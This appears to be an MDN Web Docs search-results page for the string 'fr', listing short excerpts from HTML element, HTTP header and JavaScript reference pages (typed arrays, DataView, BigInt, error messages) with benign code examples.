the html idiomatic text element (<i>) represents a range of text that is set off
from the normal text for some reason, such as idiomatic text, technical terms, taxonomical designations, among others.
... usage notes use the <i> element for text that is set off
from the normal prose for readability reasons.
...among the use cases for the <i> element are spans of text representing a different quality or mode of text, such as: alternative voice or mood taxonomic designations (such as the genus and species "homo sapiens") idiomatic terms
from another language (such as "et cetera"); these should include the lang attribute to identify the language technical terms transliterations thoughts (such as "she wondered,what is this writer talking about, anyway?") ship or vessel names in western writing systems (such as "they searched the docks for the empress of the galaxy, the ship to which they were assigned.") in earlier versions of the html specification, the <i> element was merely a pre...
<input type="hidden"> - HTML: Hypertext Markup Language
the content to be edited is taken
from the database and loaded into an html form to allow the user to make changes.
... this would stop a malicious user
from creating a fake form, pretending to be a bank, and emailing the form to unsuspecting users to trick them into transferring money to the wrong place.
... this kind of attack is called a cross site request forgery (csrf); pretty much any reputable server-side
framework uses hidden secrets to prevent such attacks.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
re
fresh this instruction specifies: the number of seconds until the page should be reloaded - only if the content attribute contains a positive integer.
... accessibility concerns pages set with a re
fresh value run the risk of having the time interval being too short.
... examples <meta charset="utf-8"> <!-- redirect page after 3 seconds --> <meta http-equiv="re
fresh" content="3;url=https://www.mozilla.org"> specifications specification status comment html living standardthe definition of '<meta>' in that specification.
<sup>: The Superscript element - HTML: Hypertext Markup Language
for example, in
french, the word "mademoiselle" can be abbreviated "mlle"); this is an acceptable use case.
...among the most common uses of superior lettering is the presentation of certain abbreviations in
french: <p>robert a présenté son rapport à m<sup>lle</sup> bernard.</p> the resulting output: ordinal numbers ordinal numbers, such as "fourth" in english or "quinto" in spanish may be abbreviated using numerals and language-specific text rendered in superscript: <p>the ordinal number "fifth" can be abbreviated in various languages as follows:</p> <ul> <li>english: 5<sup>th</sup></li> ...
...<li>
french: 5<sup>ème</sup></li> </ul> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification.
<table>: The Table element - HTML: Hypertext Markup Language
border this integer attribute defines, in pixels, the size of the
frame surrounding the table.
... if set to 0, the
frame attribute is set to void.
...
frame this enumerated attribute defines which side of the
frame surrounding the table must be displayed.
<tbody>: The Table Body element - HTML: Hypertext Markup Language
charoff this attribute is used to indicate the number of characters to offset the column data
from the alignment characters specified by the char attribute.
... when printing a document, the <thead> and <tfoot> elements specify information that may be the same—or at least very similar—on every page of a multi-page table, while the <tbody> element's contents generally will differ
from page to page.
... when a table is presented in a screen context (such as a window) which is not large enough to display the entire table, the user agent may let the user scroll the contents of the <thead>, <tbody>, <tfoot>, and <caption> blocks separately
from one another for the same parent table.
accesskey - HTML: Hypertext Markup Language
living standard no change
from latest w3c html 5.1 spec.
... recommendation no change
from html5.
... recommendation
from html 4.01 specification, several characters can now be set as the accesskey.
class - HTML: Hypertext Markup Language
living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'class' in that specification.
... recommendation snapshot of html living standard, no change
from html5 html5the definition of 'class' in that specification.
...
from html 4.01 specification, class is now a true global attribute.
itemscope - HTML: Hypertext Markup Language
in each of the following examples, the vocabulary is
from schema.org.
... <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data
from the preceding example.
...p[itemtype] aggregaterating [aggregaterating] itemprop ratingvalue 4.0 itemprop reviewcount 35 itemscope itemprop[itemtype] nutrition [nutritioninformation] itemprop servingsize 1 medium slice itemprop calories 250 cal itemprop fatcontent 12 g note: a handy tool for extracting microdata structures
from html is google's structured data testing tool.
style - HTML: Hypertext Markup Language
living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'style' in that specification.
... recommendation snapshot of html living standard, no change
from html5 html5the definition of 'style' in that specification.
...
from html 4.01 specification, it is now a true global attribute.
Inline elements - HTML: Hypertext Markup Language
in this article, we'll examine html inline-level elements and how they differ
from block-level elements.
...for example, by changing the value of display
from "inline" to "block", you can tell the browser to render the inline element in a block box rather than an inline box, and vice versa.
... list of "inline" elements the following elements are inline by default (although block and inline elements are no longer defined in html 5, use content categories instead): <a> <abbr> <acronym> <audio> (if it has visible controls) <b> <bdi> <bdo> <big> <br> <button> <canvas> <cite> <code> <data> <datalist> <del> <dfn> <em> <embed> <i> <i
frame> <img> <input> <ins> <kbd> <label> <map> <mark> <meter> <noscript> <object> <output> <picture> <progress> <q> <ruby> <s> <samp> <script> <select> <slot> <small> <span> <strong> <sub> <sup> <svg> <template> <textarea> <time> <u> <tt> <var> <video> <wbr> see also block-level elements html element reference display content categories block and inline la...
Link types - HTML: Hypertext Markup Language
<a>, <area> <link>, <form> canonical
from wikipedia, the
free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.
... shortlink shortlink specification
from wikipedia, the
free encyclopedia: url shortening some websites create short links to make sharing links via instant messaging easier.
... while once part of the html specification, this has been removed
from the spec and is only implemented by versions of firefox prior to firefox 63.
Microdata - HTML: Hypertext Markup Language
search engines and web crawlers can extract and process microdata
from a web page and use it to provide a richer browsing experience for users.
... search engines benefit greatly
from direct access to this structured data because it allows search engines to understand the information on web pages and provide more relevant results to users.
...chema.org/gameapplication) itemscope itemprop[itemtype] aggregaterating [aggregaterating] itemprop ratingvalue 4.6 itemprop ratingcount 8864 itemscope itemprop[itemtype] offers [offer] itemprop price 1.00 itemprop pricecurrency usd result note: a handy tool for extracting microdata structures
from html is google's structured data testing tool.
MIME types (IANA media types) - HTTP
specifically if they download a text/plain file
from a <link> element declaring a css file, they will not recognize it as a valid css file if presented with text/plain.
... note: use application/xml or application/xhtml+xml if you want xml’s strict parsing rules, <![cdata[…]]> sections, or elements that aren't
from html/svg/mathml namespaces.
... multipart/form-data the multipart/form-data type can be used when sending the values of a completed html form
from browser to server.
Basics of HTTP - HTTP
frame and message structure in http/2 http/2 encapsulates and represents http/1.x messages in a binary
frame.
... this article explains the
frame structure, its purpose, and the way it's encoded.
...this article explains how http
frames allow multiplexing and solve the 'head-of-line' blocking problem of former http versions.
Accept-Language - HTTP
browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is
frowned upon as it leads to fingerprinting).
... syntax accept-language: <language> accept-language: * // multiple types, weighted with the quality value syntax: accept-language:
fr-ch,
fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5 directives <language> a language tag (which is sometimes referred to as a "locale identifier").
...the most common extra information is the country or region variant (like 'en-us' or '
fr-ca') or the type of alphabet to use (like 'sr-latn').
Access-Control-Allow-Credentials - HTTP
the access-control-allow-credentials response header tells browsers whether to expose the response to
frontend javascript code when the request's credentials mode (request.credentials) is include.
... when a request's credentials mode (request.credentials) is include, browsers will only expose the response to
frontend javascript code if the access-control-allow-credentials value is true.
...for a cors request with credentials, in order for browsers to expose the response to
frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials.
ETag - HTTP
additionally, etags help prevent simultaneous updates of a resource
from overwriting each other ("mid-air collisions").
... for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check
freshness against.
...eld: if-none-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" the server compares the client's etag (sent with if-none-match) with the etag for its current version of the resource, and if both values match (that is, the resource has not changed), the server sends back a 304 not modified status, without a body, which tells the client that the cached version of the response is still good to use (
fresh).
Referrer-Policy - HTTP
there is effort
from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy.
... this policy will leak potentially-private information
from https resource urls to insecure origins.
...for example, you can set the referrer policy for the entire document with a <meta> element with a name of referrer: <meta name="referrer" content="origin"> or set it for individual requests with the referrerpolicy attribute on <a>, <area>, <img>, <i
frame>, <script>, or <link> elements: <a href="http://example.com" referrerpolicy="origin"> alternatively, a noreferrer link relation on an a, area, or link element can be set: <a href="http://example.com" rel="noreferrer"> integration with css css can fetch resources referenced
from stylesheets.
Transfer-Encoding - HTTP
the value name was taken
from the unix compress program, which implemented this algorithm.
... like the compress program, which has disappeared
from most unix distributions, this content-encoding is used by almost no browsers today, partly because of a patent issue (which expired in 2003).
...for example, when generating a large html table resulting
from a database query or when transmitting large images.
X-DNS-Prefetch-Control - HTTP
on firefox, this can be changed by setting the network.dns.disableprefetch
fromhttps preference to false.
... examples turning on and off prefetching you can either send the x-dns-prefetch-control header server-side, or
from individual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can reverse this setting by setting content to "on".
... similarly, the link element can be used to resolve hostnames without providing a complete url, but only, by preceding the hostname with two slashes: <link rel="dns-prefetch" href="//www.mozilla.org/contribute/"> forced prefetching of hostnames might be useful, for example, on the homepage of a site to force pre-resolution of domain names that are referenced
frequently throughout the site even though they are not used on the home page itself.
Proxy servers and tunneling - HTTP
forwarding client information through proxies proxies can make requests appear as if they originated
from the proxy's ip address.
... this can be useful if a proxy is used to provide client anonymity, but in other cases information
from the original request is lost.
...a common way to disclose this information is by using the following http headers: the standardized header: forwarded contains information
from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
HTTP resources and specifications - HTTP
ble responses proposed standard rfc 7235 hypertext transfer protocol (http/1.1): authentication proposed standard rfc 6265 http state management mechanism defines cookies proposed standard draft spec cookie prefixes ietf draft draft spec same-site cookies ietf draft draft spec deprecate modification of 'secure' cookies
from non-secure origins ietf draft rfc 2145 use and interpretation of http version numbers informational rfc 6585 additional http status codes proposed standard rfc 7538 the hypertext transfer protocol status code 308 (permanent redirect) proposed standard rfc 7725 an http status code to report legal obstacles on the standard track ...
...e proposed standard rfc 3986 uniform resource identifier (uri): generic syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning values
from forms: multipart/form-data proposed standard rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) proposed standard rfc 2183 communicating presentation information in internet messages: the content-disposition header field only a subset of syntax of the content-disposition header can be used in the context of http messa...
... cross-origin resource sharing living standard rfc 7034 http header field x-
frame-options informational rfc 6797 http strict transport security (hsts) proposed standard upgrade insecure requests upgrade insecure requests candidate recommendation content security policy 1.0 content security policy 1.0 csp 1.1 and csp 3.0 doesn't extend the http standard obsolete microsoft document specifying legacy document mode...
A typical HTTP session - HTTP
http://developer.mozilla.org/, and telling the server that the user-agent would prefer the page in
french, if possible: get / http/1.1 host: developer.mozilla.org accept-language:
fr observe that final empty line, this separates the data block
from the header block.
... example responses successful web page response: http/1.1 200 ok content-type: text/html; charset=utf-8 content-length: 55743 connection: keep-alive cache-control: s-maxage=300, public, max-age=0 content-language: en-us date: thu, 06 dec 2018 17:37:18 gmt etag: "2e77ad1dc6ab0b53a2996dfd4653c1c3" server: meinheld/0.6.1 strict-transport-security: max-age=63072000 x-content-type-options: nosniff x-
frame-options: deny x-xss-protection: 1; mode=block vary: accept-encoding,cookie age: 7 <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>a simple webpage</title> </head> <body> <h1>simple html5 webpage</h1> <p>hello, world!</p> </body> </html> notification that the requested resource has permanently moved: http/1.1 301 moved permanently server: apache/2.4.37 (red ha...
...ested resource doesn't exist: http/1.1 404 not found content-type: text/html; charset=utf-8 content-length: 38217 connection: keep-alive cache-control: no-cache, no-store, must-revalidate, max-age=0 content-language: en-us date: thu, 06 dec 2018 17:35:13 gmt expires: thu, 06 dec 2018 17:35:13 gmt server: meinheld/0.6.1 strict-transport-security: max-age=63072000 x-content-type-options: nosniff x-
frame-options: deny x-xss-protection: 1; mode=block vary: accept-encoding,cookie x-cache: error
from cloud
front <!doctype html...
Equality comparisons and sameness - JavaScript
we can see that with double and triple equals, with the exception of doing a type check up
front in 11.9.6.1, the strict equality algorithm is a subset of the abstract equality algorithm, because 11.9.6.2–7 correspond to 11.9.3.1.a–f.
...we can see
from the sameness comparisons table below that this is due to the way that object.is handles nan.
...even if your requirements involve having comparisons between two nan values evaluate to true, generally it is easier to special-case the nan checks (using the isnan method available
from previous versions of ecmascript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison.
Groups and ranges - JavaScript
matches are accessed using the index of the the result's elements ([1], ..., [n]) or
from the predefined regexp object's properties ($1, ..., $9).
... for example, to extract the united states area code
from a phone number, we could use /\((?<area>\d\d\d)\)/.
...the matched substring cannot be recalled
from the resulting array's elements ([1], ..., [n]) or
from the predefined regexp object's properties ($1, ..., $9).
Unicode property escapes - JavaScript
for instance, unicode property escapes can be used to match emojis, punctuations, letters (even letters
from specific languages or scripts), etc.
... note: as there are many properties and values available, we will not describe them exhaustively here but rather provide various examples rationale before es2018 there was no performance-efficient way to match characters
from different sets based on scripts (like macedonian, greek, georgian etc.) or propertyname (like emoji etc) in javascript.
...however, such forms only match characters
from the latin script (in other words, a to z and a to z for \w and 0 to 9 for \d).
Private class fields - JavaScript
syntax class classwithprivatefield { #privatefield } class classwithprivatemethod { #privatemethod() { return 'hello world' } } class classwithprivatestaticfield { static #private_static_field } examples private static fields private fields are accessible on the class constructor
from inside the class declaration itself.
...it is a syntax error to refer to # names
from out of scope.
...like private static fields, they are only accessible
from inside the class declaration.
constructor - JavaScript
the default constructor then takes care of initializing the parent error
from the argument it is given.
... however, if you provide your own constructor, and your class derives
from some parent class, then you must explicitly call the parent class constructor using super.
... examples using the constructor method this code snippet is taken
from the classes sample (live demo).
extends - JavaScript
examples using extends the first example creates a class called square
from a class called polygon.
... this example is extracted
from this live demo (source).
...this example is extracted
from this live demo (source).
Deprecated and obsolete features - JavaScript
you should work to remove their use
from your code.
... string.prototype.quote is removed
from firefox 37.
...…" obsolete features these obsolete features have been entirely removed
from javascript and can no longer be used as of the indicated version of javascript.
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
the configurable attribute controls whether the property can be deleted
from the object and whether its attributes (other than writable) can be changed.
... examples attempting to delete non-configurable properties non-configurable properties are not super common, but they can be created using object.defineproperty() or object.
freeze().
... 'use strict'; var obj = object.
freeze({name: 'elsa', score: 157}); delete obj.score; // typeerror 'use strict'; var obj = {}; object.defineproperty(obj, 'foo', {value: 2, configurable: false}); delete obj.foo; // typeerror 'use strict'; var
frozenarray = object.
freeze([0, 1, 2]);
frozenarray.pop(); // typeerror there are also a few non-configurable properties built into javascript.
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
unlike what common belief suggests, the delete operator has nothing to do with directly
freeing memory.
... examples
freeing the contents of a variable attempting to delete a plain variable, doesn't work in javascript and it throws an error in strict mode: 'use strict'; var x; // ...
... delete x; // syntaxerror: applying the 'delete' operator to an unqualified name // is deprecated to
free the contents of a variable, you can set it to null: 'use strict'; var x; // ...
TypeError: "x" is not a function - JavaScript
the javascript exception "is not a function" occurs when there was an attempt to call a value
from a function, but the value is not actually a function.
... it attempted to call a value
from a function, but the value is not actually a function.
... an example helpers library (helpers.js) let helpers = function () { }; helpers.groupby = function (objectarray, property) { return objectarray.reduce(function (acc, obj) { var key = obj[property]; if (!acc[key]) { acc[key] = []; } acc[key].push(obj); return acc; }, {}); } export default helpers; the correct import usage (app.js): import helpers
from './helpers' ...
TypeError: "x" is read-only - JavaScript
examples invalid cases read-only properties are not super common, but they can be created using object.defineproperty() or object.
freeze().
... 'use strict'; var obj = object.
freeze({name: 'elsa', score: 157}); obj.score = 0; // typeerror 'use strict'; object.defineproperty(this, 'lung_count', {value: 2, writable: false}); lung_count = 3; // typeerror 'use strict'; var
frozenarray = object.
freeze([0, 1, 2]);
frozenarray[0]++; // typeerror there are also a few read-only properties built into javascript.
... the global variable undefined is also read-only, so you can't silence the infamous "undefined is not a function" error by doing this: 'use strict'; undefined = function() {}; // typeerror: "undefined" is read-only valid cases 'use strict'; var obj = object.
freeze({name: 'score', points: 157}); obj = {name: obj.name, points: 0}; // replacing it with a new object works 'use strict'; var lung_count = 2; // a `var` works, because it's not read-only lung_count = 3; // ok (anatomically unlikely, though) ...
arguments.callee - JavaScript
why was arguments.callee removed
from es5 strict mode?
... (adapted
from a stack overflow answer by olliej) early versions of javascript did not allow named function expressions, and for this reason you could not make a recursive function expression.
...1 : factorial(n - 1)*n; }); this has numerous benefits: the function can be called like any other
from inside your code it does not create a variable in the outer scope (except for ie 8 and below) it has better performance than accessing the arguments object another feature that was deprecated was arguments.callee.caller, or more specifically function.caller.
Functions - JavaScript
what distinguishes them
from other objects is that functions can be called.
... the generatorfunction constructor note: generatorfunction is not a global object, but could be obtained
from generator function instance (see generatorfunction for more detail).
... as the 4th example shows, the function name can be different
from the variable the function is assigned to.
Array() constructor - JavaScript
examples array literal notation arrays can be created using the literal notation: let
fruits = ['apple', 'banana']; console.log(
fruits.length); // 2 console.log(
fruits[0]); // "apple" array constructor with a single parameter arrays can be created using a constructor with a single number parameter.
... let
fruits = new array(2); console.log(
fruits.length); // 2 console.log(
fruits[0]); // undefined array constructor with multiple parameters if more than one argument is passed to the constructor, a new array with the given elements is created.
... let
fruits = new array('apple', 'banana'); console.log(
fruits.length); // 2 console.log(
fruits[0]); // "apple" specifications specification ecmascript (ecma-262)the definition of 'array constructor' in that specification.
Array.prototype.reduceRight() - JavaScript
the reduceright() method applies a function against an accumulator and each value of the array (
from right-to-left) to reduce it to a single value.
... return value the value that results
from the reduction.
... description reduceright executes the callback function once for each element present in the array, excluding holes in the array, receiving four arguments: the initial value (or value
from the previous callback call), the value of the current element, the current index, and the array over which iteration is occurring.
Array.prototype.flatMap() - JavaScript
alternative reduce() and concat() var arr = [1, 2, 3, 4]; arr.flatmap(x => [x, x * 2]); // is equivalent to arr.reduce((acc, x) => acc.concat([x, x * 2]), []); // [1, 2, 2, 4, 3, 6, 4, 8] note, however, that this is inefficient and should be avoided for large arrays: in each iteration, it creates a new temporary array that must be garbage-collected, and it copies elements
from the current accumulator array into a new array instead of just adding the new elements to the existing array.
... let's generate a list of words
from a list of sentences.
... let arr1 = ["it's sunny in", "", "california"]; arr1.map(x => x.split(" ")); // [["it's","sunny","in"],[""],["california"]] arr1.flatmap(x => x.split(" ")); // ["it's","sunny","in", "", "california"] notice, the output list length can be different
from the input list length.
Array.prototype.pop() - JavaScript
the pop() method removes the last element
from an array and returns that element.
... syntax arrname.pop() return value the removed element
from the array; undefined if the array is empty.
... description the pop method removes the last element
from an array and returns that value to the caller.
ArrayBuffer.prototype.slice() - JavaScript
the slice() method returns a new arraybuffer whose contents are a copy of this arraybuffer's bytes
from begin, inclusive, up to end, exclusive.
...if end is unspecified, the new arraybuffer contains all bytes
from begin to the end of this arraybuffer.
...if either begin or end is negative, it refers to an index
from the end of the array, as opposed to
from the beginning.
ArrayBuffer - JavaScript
you can also get an array buffer
from existing data, for example
from a base64 string or
from a local file.
... instance methods arraybuffer.prototype.slice() returns a new arraybuffer whose contents are a copy of this arraybuffer's bytes
from begin (inclusive) up to end (exclusive).
... if either begin or end is negative, it refers to an index
from the end of the array, as opposed to
from the beginning.
AsyncFunction - JavaScript
when running them, they will only be able to access their own local variables and global ones, not the ones
from the scope in which the asyncfunction constructor was called.
... this is different
from using eval with code for an async function expression.
... examples creating an async function
from an asyncfunction() constructor function resolveafter2seconds(x) { return new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); } let asyncfunction = object.getprototypeof(async function(){}).constructor let a = new asyncfunction('a', 'b', 'return await resolveafter2seconds(a) + await resolveafter2seconds(b);'); a(10, 20).then(v => { console.log(v); // prints 30 after 4 seconds }); specifications specification ecmascript (ecma-262)the definition of 'asyncfunction object' in that specification.
BigInt - JavaScript
however, since these are bigints and not bigdecimals, this operation will round towards 0 (which is to say, it will not return any
fractional digits).
... an operation with a
fractional result will be truncated when used with a bigint.
... if (0n) { console.log('hello
from the if!') } else { console.log('hello
from the else!') } // ↪ "hello
from the else!" 0n || 12n // ↪ 12n 0n && 12n // ↪ 0n boolean(0n) // ↪ false boolean(12n) // ↪ true !12n // ↪ false !0n // ↪ true constructor bigint() creates a new bigint value.
BigInt64Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create a bigint64array //
from a length var bigint64 = new bigint64array(2); bigint64[0] = 42n; console.log(bigint64[0]); // 42n console.log(bigint64.length); // 2 console.log(bigint64.bytes_per_element); // 8 //
from an array var arr = new bigint64array([21n,31n]); console.log(arr[1]); // 31n //
from another typedarray var x = new bigint64array([21n, 31n]); var y = new bigint64array(x); console.log(y[0]); // 21n //
from ...
...an arraybuffer var buffer = new arraybuffer(32); var z = new bigint64array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1n, 2n, 3n]; }(); var bigint64 = new bigint64array(iterable); // bigint64array[1n, 2n, 3n] specifications specification ecmascript (ecma-262)the definition of 'bigint64array' in that specification.
BigUint64Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create a biguint64array //
from a length var biguint64 = new biguint64array(2); biguint64[0] = 42n; console.log(biguint64[0]); // 42n console.log(biguint64.length); // 2 console.log(biguint64.bytes_per_element); // 8 //
from an array var arr = new biguint64array([21n,31n]); console.log(arr[1]); // 31n //
from another typedarray var x = new biguint64array([21n, 31n]); var y = new biguint64array(x); console.log(y[0]); // 21n ...
... //
from an arraybuffer var buffer = new arraybuffer(32); var z = new biguint64array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1n, 2n, 3n]; }(); var biguint64 = new biguint64array(iterable); // biguint64array[1n, 2n, 3n] specifications specification ecmascript (ecma-262)the definition of 'biguint64array' in that specification.
DataView.prototype.getBigInt64() - JavaScript
the getbigint64() method gets a signed 64-bit integer (long long) at the specified byte offset
from the start of the dataview.
... syntax dataview.getbigint64(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes,
from the start of the view to read the data
from.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getBigUint64() - JavaScript
the getbiguint64() method gets an unsigned 64-bit integer (unsigned long long) at the specified byte offset
from the start of the dataview.
... syntax dataview.getbiguint64(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes,
from the start of the view to read the data
from.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getFloat32() - JavaScript
the getfloat32() method gets a signed 32-bit float (float) at the specified byte offset
from the start of the dataview.
... syntax dataview.getfloat32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getFloat64() - JavaScript
the getfloat64() method gets a signed 64-bit float (double) at the specified byte offset
from the start of the dataview.
... syntax dataview.getfloat64(byteoffset [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getInt16() - JavaScript
the getint16() method gets a signed 16-bit integer (short) at the specified byte offset
from the start of the dataview.
... syntax dataview.getint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getInt32() - JavaScript
the getint32() method gets a signed 32-bit integer (long) at the specified byte offset
from the start of the dataview.
... syntax dataview.getint32(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getInt8() - JavaScript
the getint8() method gets a signed 8-bit integer (byte) at the specified byte offset
from the start of the dataview.
... syntax dataview.getint8(byteoffset) parameters byteoffset the offset, in byte,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getUint16() - JavaScript
the getuint16() method gets an unsigned 16-bit integer (unsigned short) at the specified byte offset
from the start of the dataview.
... syntax dataview.getuint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getUint32() - JavaScript
the getuint32() method gets an unsigned 32-bit integer (unsigned long) at the specified byte offset
from the start of the dataview.
... syntax dataview.getuint32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
DataView.prototype.getUint8() - JavaScript
the getuint8() method gets an unsigned 8-bit integer (unsigned byte) at the specified byte offset
from the start of the dataview.
... syntax dataview.getuint8(byteoffset) parameters byteoffset the offset, in byte,
from the start of the view where to read the data.
... description there is no alignment constraint; multi-byte values may be fetched
from any offset.
Date.prototype.getTimezoneOffset() - JavaScript
the gettimezoneoffset() method returns the time zone difference, in minutes,
from current locale (host system settings) to utc.
... syntax dateobj.gettimezoneoffset() return value a number representing the time-zone offset, in minutes,
from the date based on current host system settings to utc.
... description the time-zone offset is the difference, in minutes,
from local time to utc.
Date.prototype.setMonth() - JavaScript
syntax dateobj.setmonth(monthvalue[, dayvalue]) versions prior to javascript 1.3 dateobj.setmonth(monthvalue) parameters monthvalue a zero-based integer representing the month of the year offset
from the start of the year.
...an integer
from 1 to 31, representing the day of the month.
... description if you do not specify the dayvalue parameter, the value returned
from the getdate() method is used.
Float32Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create a float32array //
from a length var float32 = new float32array(2); float32[0] = 42; console.log(float32[0]); // 42 console.log(float32.length); // 2 console.log(float32.bytes_per_element); // 4 //
from an array var arr = new float32array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new float32array([21, 31]); var y = new float32array(x); console.log(y[0]); // 21 //
from an arraybuffer va...
...r buffer = new arraybuffer(16); var z = new float32array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var float32 = new float32array(iterable); // float32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Float64Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create a float64array //
from a length var float64 = new float64array(2); float64[0] = 42; console.log(float64[0]); // 42 console.log(float64.length); // 2 console.log(float64.bytes_per_element); // 8 //
from an array var arr = new float64array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new float64array([21, 31]); var y = new float64array(x); console.log(y[0]); // 21 //
from an arraybuffer va...
...r buffer = new arraybuffer(32); var z = new float64array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var float64 = new float64array(iterable); // float64array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Function - JavaScript
calling the constructor directly can create functions dynamically but suffers
from security and similar (but far less significant) performance issues to eval.
...when running them, they will only be able to access their own local variables and global ones, not the ones
from the scope in which the function constructor was created.
... this is different
from using eval with code for a function expression.
GeneratorFunction - JavaScript
when running them, they will only be able to access their own local variables and global ones, not the ones
from the scope in which the generatorfunction constructor was called.
... this is different
from using eval with code for a generator function expression.
... examples creating a generator function
from a generatorfunction() constructor var generatorfunction = object.getprototypeof(function*(){}).constructor var g = new generatorfunction('a', 'yield a * 2'); var iterator = g(10); console.log(iterator.next().value); // 20 specifications specification ecmascript (ecma-262)the definition of 'generatorfunction' in that specification.
Int16Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create an int16array //
from a length var int16 = new int16array(2); int16[0] = 42; console.log(int16[0]); // 42 console.log(int16.length); // 2 console.log(int16.bytes_per_element); // 2 //
from an array var arr = new int16array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new int16array([21, 31]); var y = new int16array(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer = new arr...
...aybuffer(8); var z = new int16array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int16 = new int16array(iterable); // int16array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Int32Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create an int32array //
from a length var int32 = new int32array(2); int32[0] = 42; console.log(int32[0]); // 42 console.log(int32.length); // 2 console.log(int32.bytes_per_element); // 4 //
from an array var arr = new int32array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new int32array([21, 31]); var y = new int32array(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer = new arr...
...aybuffer(16); var z = new int32array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int32 = new int32array(iterable); // int32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Int8Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create an int8array //
from a length var int8 = new int8array(2); int8[0] = 42; console.log(int8[0]); // 42 console.log(int8.length); // 2 console.log(int8.bytes_per_element); // 1 //
from an array var arr = new int8array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new int8array([21, 31]); var y = new int8array(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer = new arraybuffer(...
...8); var z = new int8array(buffer, 1, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int8 = new int8array(iterable); // int8array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Intl.ListFormat.prototype.formatToParts() - JavaScript
return value an array of components which contains the formatted parts
from the list.
...the type property may be either "element", which refers to a value
from the list, or "literal" which refers to a linguistic construct.
